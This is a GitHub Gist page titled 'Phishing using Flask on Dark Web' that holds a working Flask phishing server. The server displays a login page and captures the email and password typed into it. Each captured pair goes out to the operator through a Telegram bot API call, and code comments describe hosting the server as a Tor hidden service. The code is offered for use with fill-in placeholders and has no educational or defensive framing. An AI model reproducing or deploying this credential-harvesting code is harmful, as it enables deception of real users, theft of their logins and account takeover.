Created
October 20, 2023 14:24
-
-
Save imvickykumar999/3e28780ae2a326c9673b77417ea6d991 to your computer and use it in GitHub Desktop.
Phishing using Flask on Dark Web
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# pip install VicksTor --upgrade | |
# >>> python | |
# from HostTor import VicksTor | |
# import VicksTor | |
# VicksTor.run_server('flask') | |
from flask import ( | |
Flask, request, | |
render_template, | |
send_from_directory | |
) | |
import requests | |
app = Flask(__name__, template_folder='./') | |
data = { | |
"API" : "*********************************", # edit name | |
"id" : "***********" # edit name | |
} | |
@app.route('/', methods=['POST']) | |
def login(): | |
email = request.form['*****'] # edit name | |
password = request.form['******'] # edit name | |
API = data['API'] | |
id = data['id'] | |
text = f''' | |
Username: {email} | |
Password: {password} | |
''' | |
URL = f'https://api.telegram.org/bot{API}/sendMessage?chat_id={id}&text={text}' | |
requests.get(url = URL) | |
return render_template('index.html') | |
@app.route('/<path:filename>') | |
def send_file(filename): | |
return send_from_directory('./', filename) | |
@app.route('/') | |
def hello_world(): | |
return render_template('index.html') | |
if __name__ == '__main__': | |
app.run(debug = False) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://photos.app.goo.gl/bynE9ye8osZA4LQX9